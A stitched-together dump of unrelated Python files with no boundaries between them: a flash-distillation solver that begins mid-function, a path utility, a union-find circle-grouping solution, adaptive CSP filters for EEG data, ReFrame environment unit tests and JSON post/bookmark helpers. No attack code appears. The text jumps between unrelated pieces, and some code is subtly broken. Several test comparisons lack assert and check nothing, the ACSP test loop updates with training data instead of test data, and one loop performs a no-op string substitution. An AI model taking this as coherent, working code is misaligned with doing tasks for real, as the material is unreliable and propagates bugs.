        Tf_dew = self.dewT(self.feed.getP(), c)
        Tf = self.feed.getT()
        Tf_mode = None
        Tref = self.Tref
        cpl = {}
        cpig = {}
        hf = {}
        hg = {}
        hl = {}
        # Check for the feedstream condition
        if Tf <= Tf_bubble:

            Tf_mode = "liquid"
            T_bubble = self.bubbleT(P, c)
            T_dew = self.dewT(P, c)
            Tf = self.feed.getT()
            Tf_mode = None
            Tref = self.Tref
            cpl = {}
            cpig = {}
            hf = {}
            hg = {}
            hl = {}
            m = GEKKO()
            m.options.MAX_ITER = 1000
            Psi = m.Var(value=0.5, lb= 0.0, ub = 1.0)
            T = m.Var(value=(T_bubble + T_dew) * 0.5, lb = 200, ub = 800)
            # K's
            Ki = {}
            # Ki calculations are made.
            for key in self.feed.getmC().keys():
                K = m.Intermediate(self.idealK(T,P, c['Antoine'][key]))

                Ki[key] = K

            x = sum([((self.feed.getmC(key) * (1 - Ki[key])) / (1 + Psi * (Ki[key] - 1))) for key in Ki.keys()])
            # Intermediate equations:
            self.vapor.setmF( Psi * self.feed.getmF())
            self.liquid.setmF(self.feed.getmF() - self.vapor.getmF())

            for key in Ki.keys():
                self.liquid.setmC((self.feed.getmC(key)) / (1 + Psi * (Ki[key] - 1)), key)
                self.vapor.setmC(self.liquid.getmC(key)  * Ki[key], key)

            # Intermediate energy Balance
            for key in self.feed.getmC().keys():

                cpl[key] = meanCP(CP_L, T_bubble * 0.8,  T_dew * 1.2, tuple([value for value in c['CPL'][key].values()]))
                #cpig[key] = meanCP(CP_ig, T_bubble,  T_dew, tuple([value for value in c['CPig'][key].values()]))
                hf[key] = self.feed.getmC(key) * cpl[key] * (Tf - Tref)
                hl[key] = self.liquid.getmC(key) * cpl[key] * (T - Tref)
                hg[key] = self.vapor.getmC(key) * (cpl[key] * (T - Tref) + HeatVap(T, **c['Hvap'][key]))

            self.feed.setH( sum([value for value in hf.values()]))
            self.liquid.setH( sum([value for value in hl.values()]))
            self.vapor.setH( sum([value for value in hg.values()]))
            # Second equaion: f(T) == 0
            y = self.vapor.getmF() * self.vapor.getH() + self.liquid.getmF() * self.liquid.getH() - self.feed.getmF() * self.feed.getH()
            # Solve the equations system
            m.Equation([x == 0, y == 0])
            m.solve(disp=False)
            # Evaluate the results of T and PSI in the intermediate equations
            self.psi = float(Psi.value[0])
            self.Temperature = float(T.value[0])
            # Real Ki calculations are made.
            for key in self.feed.getmC().keys():

                Ki[key] = Ki[key][0]
            # Calulate vapor and liquid molar flows.
            self.vapor.setmF( self.psi * self.feed.getmF())
            self.liquid.setmF(self.feed.getmF() - self.vapor.getmF())
            # Calculate vapor and liquid molar compositions
            for key in Ki.keys():

                self.liquid.setmC((self.feed.getmC(key)) / (1 + self.psi * (Ki[key] - 1)), key)
                self.vapor.setmC(self.liquid.getmC(key)  * Ki[key], key)

            #Real Energy Balance
            for key in self.feed.getmC().keys():
                # Mean heat capacity
                cpl[key] = meanCP(CP_L, T_bubble * 0.8,  T_dew * 1.2, tuple([value for value in c['CPL'][key].values()]))
                #cpig[key] = meanCP(CP_ig, T_bubble,  T_dew, tuple([value for value in c['CPig'][key].values()]))
                # Enthalply calculation.
                hf[key] = self.feed.getmC(key) * cpl[key] * (Tf - Tref)
                hl[key] = self.liquid.getmC(key) * cpl[key] * (self.Temperature - Tref)
                hg[key] = self.vapor.getmC(key) * (cpl[key] * (self.Temperature - Tref) + HeatVap(self.Temperature, **c['Hvap'][key]))

            self.feed.setH( sum([value for value in hf.values()]))
            self.liquid.setH( sum([value for value in hl.values()]))
            self.vapor.setH( sum([value for value in hg.values()]))
            Q = self.vapor.getmF() * self.vapor.getH() + self.liquid.getmF() * self.liquid.getH() - self.feed.getmF() * self.feed.getH()
            self.vapor.setT(self.Temperature)
            self.liquid.setT(self.Temperature)
            self.Heat = Q

        else:

            self.mode ="Adiabatic: NO SOLVED!"
            self.vapor.setmF(0)
            self.liquid.setmF(0)
            self.vapor.setH(0)
            self.liquid.setH(0)
            self.vapor.setT(0)
            self.liquid.setT(0)
            self.vapor.setP(0)
            self.liquid.setP(0)
            self.Heat = 0

            for key in self.feed.getmC().keys():

                self.vapor.setmC(0, key)
                self.liquid.setmC(0, key)

    def bubbleT(self, P, c):
        ''' Bubble temperature calculation given an operating pressure.'''
        m = GEKKO()

        T = m.Var(value = 298.15, lb = 0.0, ub = 800.0)
        # K's
        Ki = {}

        for key in self.feed.getmC().keys():
            Ki[key] = self.idealK(T,P, c['Antoine'][key])

        x = sum([self.feed.getmC(key) * Ki[key] for key in Ki.keys()])
        m.Equation([x - 1 == 0])
        m.solve(disp=False)

        return round(T.value[0], 2)

    def dewT(self, P, c ):
        ''' Dew temperature calculation given an operating pressure.'''
        m = GEKKO()

        T = m.Var(value = 298.15, lb = 200.0, ub = 800.0)
        # K's
        Ki = {}

        for key in self.feed.getmC().keys():
            Ki[key] = self.idealK(T,P, c['Antoine'][key])

        x = sum([self.feed.getmC(key) / Ki[key] for key in Ki.keys()])
        m.Equation([x - 1 == 0])
        m.solve(disp=False)

        return round(T.value[0], 2)

    def bubbleP(self, T, c):
        ''' Bubble pressure calculation given an operating temperature.'''
        P = sum([self.feed.getmC(key) * Antoinenp(T, **c['Antoine'][key]) for key in self.feed.getmC().keys()])

        return P

    def dewP(self, T, c):
        ''' Dew pressure calculation given an operating temperature.'''
        P = sum([self.feed.getmC(key) / Antoinenp(T, **c['Antoine'][key]) for key in self.feed.getmC().keys()]) ** (-1)

        return round(P, 3)


# coding: utf-8

from os import path

def pathinfo(p):
    filename, ext = path.splitext(path.basename(p))
    return {
        'dirname': path.dirname(p),
        'basename': path.basename(p),
        'extension': ext,
        'filename': filename,
    }

if __name__ == '__main__':
    print(pathinfo('./text.txt'))
    print(pathinfo('./text'))
    print(pathinfo('./.a'))
    # print(path.splitext('./.a'))


# import sys
# from collections import deque
# input = sys.stdin.readline
#
# dire = [[0,1],[0,-1],[1,0],[-1,0]]
#
# def check(Y, X, r):
#     for y in range(Y-r, Y+r):
#         for x in range(X-r, X+r):
#             if 0 <= y <= max_pos and 0 <= x <= max_pos:
#                 graph[y][x] = 1
#
# def dfs(Y, X, cnt):
#     q = deque()
#     q.append([Y, X])
#     graph[Y][X] = cnt
#
#     while q:
#         y, x = q.popleft()
#         for ty, tx in dire:
#             ny, nx = ty + y, tx + x
#             if 0 <= ny <= max_pos and 0 <= nx <= max_pos:
#                 if graph[ny][nx] == 1:
#                     graph[ny][nx] = cnt
#                     q.append([ny, nx])
#
# for _ in range(int(input())):
#     N = int(input())
#     check_list = []
#     max_pos = 0
#
#     for _ in range(N):
#         y, x, r = map(int, input().split())
#         check_list.append([y, x, r])
#         max_pos = max(max_pos, y, x)
#
#     graph = [[-1 for _ in range(max_pos+1)] for _ in range(max_pos+1)]
#     # visit = [[0 for _ in range(max_pos+1)] for _ in range(max_pos+1)]
#     for y, x, r in check_list:
#         check(y, x, r)
#
#     cnt = 1
#     for y in range(max_pos):
#         for x in range(max_pos):
#             if graph[y][x] == 1:
#                 cnt += 1
#                 dfs(y, x, cnt)
#
#     print(cnt-1)

import sys
input = sys.stdin.readline

def union(a, b):
    parent_a = find(a)
    parent_b = find(b)

    if parent_a != parent_b:
        parent[parent_b] = parent_a

def find(node):
    if parent[node] == node:
        return node

    p = find(parent[node])
    parent[node] = p
    return p

for _ in range(int(input())):
    n = int(input())

    parent = [i for i in range(n)]
    ypos = [0 for i in range(n)]
    xpos = [0 for i in range(n)]
    radius = [0 for i in range(n)]

    for i in range(n):
        y, x, r = map(int, input().split())
        ypos[i] = y
        xpos[i] = x
        radius[i] = r

    ans = n
    for i in range(n):
        for j in range(i+1, n):
            ydif = ypos[i] - ypos[j]
            xdif = xpos[i] - xpos[j]
            r = radius[i] + radius[j]

            if (ydif*ydif + xdif*xdif) <= (r*r):
                if find(i) != find(j):
                    union(i, j)
                    ans -= 1

    print(ans)


import numpy as np
import scipy.io
import scipy.linalg

def getCSPFilters(cov1, cov2):
    _, vr = scipy.linalg.eig(cov1, cov1+cov2)
    return vr

def calcCovMat(MIData):
    return sum([np.matmul(MIData[i], MIData[i].T) for i in range(len(MIData))])/len(MIData)

# def calcCovMatnumpy(MIData):
#     return sum([np.cov(MIData[i]) for i in range(len(MIData))])#/len(MIData)

def updateCovMat(cov_mat, trial, mu):
    return mu*cov_mat + (1-mu)*np.matmul(trial, trial.T)

# def applyCSPFilters(MIData_test, filter1):
#     for i in range(len(MIData_test)):
#         MIData_test[i] = np.matmul(filter1.T, MIData_test[i])
#     return MIData_test

def applyCSPFilter(MIData_trial, filter1):
    return np.matmul(filter1.T, MIData_trial)

def ACSP_OVR_init(MIData_train, y_train, initial_var_trial_num, num_of_classes=3):
    MIData_train_init = MIData_train[:initial_var_trial_num]
    y_train_init = y_train[:initial_var_trial_num]
    cov_mat_list = [calcCovMat(MIData_train_init[y_train_init==i]) for i in range(1,1+num_of_classes)]
    cov_rest_mat_list = [calcCovMat(MIData_train_init[y_train_init!=i]) for i in range(1,1+num_of_classes)]
    filter_list = [getCSPFilters(cov_mat_list[i], cov_rest_mat_list[i]) for i in range(num_of_classes)]
    return filter_list, cov_mat_list, cov_rest_mat_list

def ACSP_OVR_update(MIData_train_trial, y_train_trial, mu, filter_list, cov_mat_list, cov_rest_mat_list):
    cov_mat_list[y_train_trial-1] = updateCovMat(cov_mat_list[y_train_trial-1], MIData_train_trial, mu)
    cov_rest_mat_list = [updateCovMat(cov_rest_mat, MIData_train_trial, mu) if i != y_train_trial-1 else cov_rest_mat for i, cov_rest_mat in enumerate(cov_rest_mat_list)]
    filter_list = [getCSPFilters(cov_mat_list[i], cov_rest_mat_list[i]) for i in range(len(filter_list))]
    return filter_list, cov_mat_list, cov_rest_mat_list

def ACSP_OVR(MIData_train, y_train, MIData_test, initial_var_trial_num, mu):
    filter_list, cov_mat_list, cov_rest_mat_list = ACSP_OVR_init(MIData_train, y_train, initial_var_trial_num)
    MIData_train_after_csp = [[] for i in range(len(filter_list))]
    MIData_test_after_csp = [[] for i in range(len(filter_list))]
    for trial, MIData_train_trial in enumerate(MIData_train):
        if trial >= initial_var_trial_num:
            filter_list, cov_mat_list, cov_rest_mat_list = ACSP_OVR_update(MIData_train_trial, y_train[trial], mu, filter_list, cov_mat_list, cov_rest_mat_list)
        for i, filter1 in enumerate(filter_list):
            MIData_train_after_csp[i].append(applyCSPFilter(MIData_train_trial, filter1))
    for trial, MIData_test_trial in enumerate(MIData_test):
        filter_list, cov_mat_list, cov_rest_mat_list = ACSP_OVR_update(MIData_train_trial, y_train[trial], mu, filter_list, cov_mat_list, cov_rest_mat_list)
        for i, filter1 in enumerate(filter_list):
                MIData_test_after_csp[i].append(applyCSPFilter(MIData_test_trial, filter1))
    return MIData_train_after_csp, MIData_test_after_csp

def getACSPVars(MIData_train, MIData_test, y_train, initial_var_trial_num, mu):
    MIData_train_after_csp, MIData_test_after_csp = ACSP_OVR(MIData_train, y_train, MIData_test, initial_var_trial_num, mu)
    CSPVarsMat_train = []
    for proj in MIData_train_after_csp:
        proj_mat = []
        for trial in proj:
            vars_vec = []
            for electrode in trial:
                vars_vec.append(np.var(electrode))
            if len(proj_mat) == 0:
                proj_mat = np.asarray(vars_vec)
            else:
                vars_vec = np.asarray(vars_vec)
                proj_mat = np.vstack([proj_mat, vars_vec])
        if len(CSPVarsMat_train) == 0:
            CSPVarsMat_train = proj_mat
        else:
            CSPVarsMat_train = np.append(CSPVarsMat_train, proj_mat, axis=1)
    CSPVarsMat_test = []
    for proj in MIData_test_after_csp:
        proj_mat = []
        for trial in proj:
            vars_vec = []
            for electrode in trial:
                vars_vec.append(np.var(electrode))
            if len(proj_mat) == 0:
                proj_mat = np.asarray(vars_vec)
            else:
                vars_vec = np.asarray(vars_vec)
                proj_mat = np.vstack([proj_mat, vars_vec])
        if len(CSPVarsMat_test) == 0:
            CSPVarsMat_test = proj_mat
        else:
            CSPVarsMat_test = np.append(CSPVarsMat_test, proj_mat, axis=1)
    return CSPVarsMat_train, CSPVarsMat_test


import os
import pytest
import unittest

import reframe.core.environments as env
import reframe.utility.os_ext as os_ext
import unittests.fixtures as fixtures
from reframe.core.runtime import runtime
from reframe.core.exceptions import EnvironError

class TestEnvironment(unittest.TestCase):
    def assertModulesLoaded(self, modules):
        for m in modules:
            assert self.modules_system.is_module_loaded(m)

    def assertModulesNotLoaded(self, modules):
        for m in modules:
            assert not self.modules_system.is_module_loaded(m)

    def setup_modules_system(self):
        if not fixtures.has_sane_modules_system():
            self.skipTest('no modules system configured')

        self.modules_system = runtime().modules_system
        self.modules_system.searchpath_add(fixtures.TEST_MODULES)

        # Always add a base module; this is a workaround for the modules
        # environment's inconsistent behaviour, that starts with an empty
        # LOADEDMODULES variable and ends up removing it completely if all
        # present modules are removed.
        self.modules_system.load_module('testmod_base')

    def setUp(self):
        self.modules_system = None
        os.environ['_var0'] = 'val0'
        os.environ['_var1'] = 'val1'
        self.environ_save = env.snapshot()
        self.environ = env.Environment(name='TestEnv1',
                                       modules=['testmod_foo'],
                                       variables=[('_var0', 'val1'),
                                                  ('_var2', '$_var0'),
                                                  ('_var3', '${_var1}')])
        self.environ_other = env.Environment(name='TestEnv2',
                                             modules=['testmod_boo'],
                                             variables={'_var4': 'val4'})

    def tearDown(self):
        if self.modules_system is not None:
            self.modules_system.searchpath_remove(fixtures.TEST_MODULES)

        self.environ_save.restore()

    def test_setup(self):
        if fixtures.has_sane_modules_system():
            assert len(self.environ.modules) == 1
            assert 'testmod_foo' in self.environ.modules

        assert len(self.environ.variables.keys()) == 3
        assert self.environ.variables['_var0'] == 'val1'

        # No variable expansion, if environment is not loaded
        self.environ.variables['_var2'] == '$_var0'
        self.environ.variables['_var3'] == '${_var1}'

    def test_environ_snapshot(self):
        env.load(self.environ, self.environ_other)
        self.environ_save.restore()
        assert self.environ_save == env.snapshot()
        assert not self.environ.is_loaded
        assert not self.environ_other.is_loaded

    def test_load_restore(self):
        snapshot, _ = env.load(self.environ)
        os.environ['_var0'] == 'val1'
        os.environ['_var1'] == 'val1'
        os.environ['_var2'] == 'val1'
        os.environ['_var3'] == 'val1'
        if fixtures.has_sane_modules_system():
            self.assertModulesLoaded(self.environ.modules)

        assert self.environ.is_loaded
        snapshot.restore()
        self.environ_save == env.snapshot()
        os.environ['_var0'], 'val0'
        if fixtures.has_sane_modules_system():
            assert not self.modules_system.is_module_loaded('testmod_foo')

        assert not self.environ.is_loaded

    @fixtures.switch_to_user_runtime
    def test_temp_environment(self):
        self.setup_modules_system()
        with env.temp_environment(
                ['testmod_foo'], {'_var0': 'val2', '_var3': 'val3'}
        ) as environ:
            assert environ.is_loaded

        assert not environ.is_loaded

    @fixtures.switch_to_user_runtime
    def test_load_already_present(self):
        self.setup_modules_system()
        self.modules_system.load_module('testmod_boo')
        snapshot, _ = env.load(self.environ)
        snapshot.restore()
        assert self.modules_system.is_module_loaded('testmod_boo')

    def test_load_non_overlapping(self):
        e0 = env.Environment(name='e0', variables=[('a', '1'), ('b', '2')])
        e1 = env.Environment(name='e1', variables=[('c', '3'), ('d', '4')])
        env.load(e0, e1)
        assert e0.is_loaded
        assert e1.is_loaded

    def test_load_overlapping(self):
        e0 = env.Environment(name='e0', variables=[('a', '1'), ('b', '2')])
        e1 = env.Environment(name='e1', variables=[('b', '3'), ('c', '4')])
        env.load(e0, e1)
        assert not e0.is_loaded
        assert e1.is_loaded

    def test_equal(self):
        env1 = env.Environment('env1', modules=['foo', 'bar'])
        env2 = env.Environment('env1', modules=['bar', 'foo'])
        assert env1 == env2
        assert env2 == env1

    def test_not_equal(self):
        env1 = env.Environment('env1', modules=['foo', 'bar'])
        env2 = env.Environment('env2', modules=['foo', 'bar'])
        assert env1 != env2

        # Variables are ordered, because they might depend on each other
        env1 = env.Environment('env1', variables=[('a', 1), ('b', 2)])
        env2 = env.Environment('env1', variables=[('b', 2), ('a', 1)])
        assert env1 != env2

    @fixtures.switch_to_user_runtime
    def test_conflicting_environments(self):
        self.setup_modules_system()
        envfoo = env.Environment(name='envfoo',
                                 modules=['testmod_foo', 'testmod_boo'])
        envbar = env.Environment(name='envbar', modules=['testmod_bar'])
        env.load(envfoo, envbar)
        for m in envbar.modules:
            assert self.modules_system.is_module_loaded(m)

        for m in envfoo.modules:
            assert not self.modules_system.is_module_loaded(m)

    @fixtures.switch_to_user_runtime
    def test_conflict_environ_after_module_load(self):
        self.setup_modules_system()
        self.modules_system.load_module('testmod_foo')
        envfoo = env.Environment(name='envfoo', modules=['testmod_foo'])
        snapshot, _ = env.load(envfoo)
        snapshot.restore()
        assert self.modules_system.is_module_loaded('testmod_foo')

    @fixtures.switch_to_user_runtime
    def test_conflict_environ_after_module_force_load(self):
        self.setup_modules_system()
        self.modules_system.load_module('testmod_foo')
        envbar = env.Environment(name='envbar', modules=['testmod_bar'])
        snapshot, _ = env.load(envbar)
        snapshot.restore()
        assert self.modules_system.is_module_loaded('testmod_foo')

    def test_immutability(self):
        # Check emit_load_commands()
        _, commands = env.load(self.environ)

        # Try to modify the returned list of commands
        commands.append('foo')
        assert 'foo' not in env.load(self.environ)[1]

        # Test ProgEnvironment
        prgenv = env.ProgEnvironment('foo_prgenv')
        assert isinstance(prgenv, env.Environment)
        with pytest.raises(AttributeError):
            prgenv.cc = 'gcc'

        with pytest.raises(AttributeError):
            prgenv.cxx = 'g++'

        with pytest.raises(AttributeError):
            prgenv.ftn = 'gfortran'

        with pytest.raises(AttributeError):
            prgenv.nvcc = 'clang'

        with pytest.raises(AttributeError):
            prgenv.cppflags = ['-DFOO']

        with pytest.raises(AttributeError):
            prgenv.cflags = ['-O1']

        with pytest.raises(AttributeError):
            prgenv.cxxflags = ['-O1']

        with pytest.raises(AttributeError):
            prgenv.fflags = ['-O1']

        with pytest.raises(AttributeError):
            prgenv.ldflags = ['-lm']

    @fixtures.switch_to_user_runtime
    def test_emit_load_commands(self):
        self.setup_modules_system()
        rt = runtime()
        expected_commands = [
            rt.modules_system.emit_load_commands('testmod_foo')[0],
            'export _var0=val1',
            'export _var2=$_var0',
            'export _var3=${_var1}',
        ]
        assert expected_commands == env.emit_load_commands(self.environ)

    @fixtures.switch_to_user_runtime
    def test_emit_load_commands_with_confict(self):
        self.setup_modules_system()

        # Load a conflicting module
        self.modules_system.load_module('testmod_bar')
        rt = runtime()
        expected_commands = [
            rt.modules_system.emit_unload_commands('testmod_bar')[0],
            rt.modules_system.emit_load_commands('testmod_foo')[0],
            'export _var0=val1',
            'export _var2=$_var0',
            'export _var3=${_var1}',
        ]
        assert expected_commands == env.emit_load_commands(self.environ)


import json

def get_posts_all():
    with open('./data/posts.json', 'r+', encoding='utf-8') as posts:
        posts = json.load(posts)
    for post in posts:
        content = post['content'].split()
        for i in content:
            if "#" in i:
                index = content.index(i)
                content[index] = f'{i}'
        post['content'] = ' '.join(content)
    return posts

def get_comments_all():
    with open('./data/comments.json', 'r+', encoding='utf-8') as file:
        return json.load(file)

def get_bookmarks_all():
    with open('./data/bookmarks.json', 'r', encoding='utf-8') as file:
        return json.load(file)

def get_posts_by_user(user_name) -> list:
    users = get_posts_all()
    result = []
    for i in users:
        if i['poster_name'] == user_name:
            result.append(i)
    if len(result) == 0:
        raise ValueError('User not found')
    elif not 'content' in set(result[0].keys()):
        return []
    return result

def get_comments_by_post_id(post_id) -> list:
    list_comment = []
    cnt = False
    for comment in get_comments_all():
        if post_id == comment['post_id']:
            list_comment.append(comment)
    for i in get_posts_all():
        if post_id == i['pk']:
            cnt = True
    if not cnt:
        raise ValueError
    elif len(list_comment) == 0:
        return []
    return list_comment

def search_for_posts(query) -> list:
    posts = get_posts_all()
    result = []
    for i in posts:
        if query.lower() in i['content'].lower():
            if len(result) >= 10:
                break
            result.append(i)
    return result

def get_post_by_pk(pk):
    posts = get_posts_all()
    for i in posts:
        if pk == i['pk']:
            return i

def save_to_bookmarks(posts):
    with open('./data/bookmarks.json', 'w', encoding='utf-8') as file:
        json.dump(posts, file, ensure_ascii=False)

def add_to_bookmarks(post):
    posts = get_bookmarks_all()
    posts.append(post)
    save_to_bookmarks(posts)

def remove_bookmark(pk):
    posts = get_bookmarks_all()
    for index, post in enumerate(posts):
        if post['pk'] == pk:
            del posts[index]
            break
    save_to_bookmarks(posts)

def get_tag(tag_name):
    return [i for i in get_posts_all() if '#' + tag_name in i['content']]